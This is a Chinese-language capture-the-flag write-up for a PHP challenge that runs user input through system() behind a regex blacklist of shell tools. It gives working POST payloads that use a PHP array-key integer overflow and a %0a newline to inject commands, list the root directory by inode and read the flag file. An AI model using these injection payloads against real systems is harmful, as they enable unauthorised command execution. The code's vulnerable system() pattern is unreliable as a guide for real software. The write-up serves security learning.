<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
题目要求我们stuff
和array
强等于且字符串首字母不同,其次要求我们num
字符串全部由数字组成,大小写不敏感,跨行检测,最后有一个过滤的黑名单。
第一个绕过,我们可以考虑利用PHP的数组下标的一个BUG,可以利用【整型溢出】。
构造payload
stuff[4294967296]=admin&stuff[1]=user&num=123
得到结果:
然后利用bp抓包
%0a是换行符可以进行绕过
用inode索引节点
先寻找flag的inode
stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=123%0als -i /
读取flag
stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=123%0atac `find / -inum 38011789`
官方wp也给了另一种解法